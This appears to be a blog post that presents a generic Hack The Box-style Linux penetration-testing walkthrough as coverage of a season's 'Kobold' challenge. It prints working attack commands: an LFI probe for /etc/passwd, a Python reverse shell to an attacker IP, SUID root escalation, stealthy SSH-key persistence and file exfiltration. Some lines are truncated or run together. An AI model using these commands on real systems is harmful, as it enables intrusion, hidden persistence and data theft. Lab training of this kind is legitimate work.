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Introduction:
Hack The Box (HTB) Season 10 has concluded with the brutal “Kobold Machine Pwned!” challenge, pushing penetration testers to their limits across 8 machines and 16 flags. This achievement, highlighted by offensive security expert Jean Hurtado, showcases the rigorous, hands-on skills required to navigate complex Linux environments, escalate privileges, and bypass modern security controls. For cybersecurity professionals, completing such a season is not just a badge of honor but a testament to practical proficiency in enumeration, exploitation, and post-exploitation tactics that mirror real-world adversary behavior.
Learning Objectives:
- Master comprehensive Linux enumeration techniques to identify misconfigurations and potential attack vectors.
- Execute privilege escalation exploits targeting kernel vulnerabilities, SUID binaries, and cron jobs.
- Develop a systematic methodology for capturing flags and documenting findings in a professional penetration testing report.
You Should Know:
1. Initial Reconnaissance & Service Enumeration
The journey to “pwn” any HTB machine begins with rigorous enumeration. Start with an Nmap scan to identify open ports and services. Use the following command to perform a thorough scan while avoiding detection mechanisms:
nmap -sC -sV -p- -T4 -oA kobold_scan <target_ip>
– -sC: Runs default safe scripts for service detection.
– -sV: Determines service versions.
– -p-: Scans all 65535 ports.
– -T4: Sets aggressive timing for faster results.
Once services are identified, focus on web servers (ports 80, 443, 8080) using tools like `gobuster` to discover hidden directories. For example, to find directories on a web server:
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Step‑by‑step guide: This phase establishes the attack surface. By mapping out all services and hidden directories, you pinpoint entry points—such as a vulnerable web application or an exposed FTP service—that can be exploited to gain initial access.
2. Web Application Attacks & Reverse Shells
After discovering a web application, look for vulnerabilities like Local File Inclusion (LFI), SQL injection, or insecure file uploads. For instance, if you find an LFI vulnerability, you might attempt to include system files or gain Remote Code Execution (RCE). A common technique is to use a PHP filter chain to read source code or to inject a reverse shell payload into a log file. Use `curl` to test for LFI:
curl "http://<target_ip>/page.php?file=../../../../etc/passwd"
If successful, you can attempt to write a malicious PHP file into a writable directory or use a simple Python reverse shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Step‑by‑step guide: This phase transitions you from enumeration to exploitation. Establish a stable reverse shell to interact with the target system. Once connected, immediately stabilize the shell using `python3 -c ‘import pty; pty.spawn(“/bin/bash”)’` or script /dev/null -c bash.
- Linux Privilege Escalation – Kernel & SUID Exploits
With a low-privilege shell, the next objective is to escalate to root. Begin by checking the kernel version withuname -a. If the kernel is outdated, you may find an exploit in repositories likesearchsploit. For example:
uname -a searchsploit Linux Kernel <version>
If the kernel is not vulnerable, check for SUID binaries using:
find / -perm -4000 -type f 2>/dev/null
Common SUID binaries like find, vim, or `bash` can be leveraged to escalate privileges. For instance, if `/usr/bin/find` has the SUID bit set:
/usr/bin/find . -exec /bin/bash -p \; -quit
This spawns a root shell by exploiting the `-exec` parameter that runs commands with the privileges of the file owner.
Step‑by‑step guide: Enumerate all possible privilege escalation vectors systematically. Use tools like `linpeas.sh` or `linux-exploit-suggester` to automate this process. Upload the script via the shell and execute it to receive a detailed report of potential vulnerabilities.
4. Persistence & Lateral Movement
Once root access is obtained, establishing persistence ensures continued access. Common techniques include adding an SSH key to the root user’s `authorized_keys` file or creating a cron job that calls back to your listener. For SSH persistence:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." >> /root/.ssh/authorized_keys
Lateral movement within the network may be necessary if the machine is part of a larger environment. Use tools like `netstat -tulpn` to discover internal services and pivot to other hosts using SSH tunneling or proxychains.
ssh -D 1080 user@target_ip
Configure `proxychains` to route traffic through this dynamic tunnel, allowing you to scan internal networks.
Step‑by‑step guide: Document all changes and ensure persistence mechanisms are stealthy to avoid detection by system administrators or monitoring tools like auditd.
5. Post-Exploitation & Data Exfiltration
With full control, the focus shifts to finding flags and sensitive data. Flags on HTB machines are typically located in user and root directories. Use `find` to locate them:
find / -name "flag" 2>/dev/null find / -name "user.txt" 2>/dev/null find / -name "root.txt" 2>/dev/null
Capture screenshots or copy flag contents into a local file. For data exfiltration, you can set up a simple Python HTTP server on the victim machine and download files to your attacker machine:
python3 -m http.server 8000
On your local machine: `wget http://
Step‑by‑step guide: Ensure all actions are logged and documented for the final report. This phase is critical for demonstrating the impact of the compromise and providing remediation advice.
6. Reporting & Remediation
A professional penetration test is incomplete without a comprehensive report. Document each step, including the tools used, commands executed, and evidence of flags. Provide remediation steps for each vulnerability exploited:
- For outdated kernels: Apply the latest patches.
- For SUID misconfigurations: Remove unnecessary SUID bits from binaries.
- For web application vulnerabilities: Implement input validation, use prepared statements for SQL queries, and enforce strict file upload policies.
Include a timeline of events and risk ratings (Critical, High, Medium, Low) to help stakeholders prioritize fixes.
What Undercode Say:
- HTB Season 10’s “Kobold Machine Pwned!” demonstrates that modern penetration testing requires not only tool proficiency but also a deep understanding of system internals and creative problem-solving.
- The methodology of enumeration, exploitation, privilege escalation, and persistence is universal, but each environment demands adaptation, making hands-on labs like HTB indispensable for skill development.
This achievement underscores the evolution of offensive security training. Platforms like Hack The Box have bridged the gap between theoretical knowledge and practical application. By completing such demanding challenges, professionals validate their ability to simulate advanced persistent threats (APTs) and uncover vulnerabilities that automated scanners often miss. The integration of Linux system administration, web application security, and network pivoting in a single season reflects the complexity of real-world cyber attacks. As organizations adopt hybrid cloud environments, the demand for practitioners who can navigate Linux-based infrastructures and escalate privileges through misconfigurations will only intensify. The “Kobold” season serves as a benchmark for aspiring red teamers, emphasizing that mastery comes from consistent, hands-on practice and a methodical approach to breaking down complex systems.
Prediction:
As HTB continues to release increasingly sophisticated seasons like “Kobold,” we predict that enterprise training programs will shift from static courseware to dynamic, gamified environments that simulate real-time attack scenarios. This trend will drive the integration of AI-powered reconnaissance tools and automated exploit generation into standard pentesting workflows, but will also place a premium on human intuition and adaptability—skills that are only honed through challenges like Season 10.
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Reported By: Jean Hurtado – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
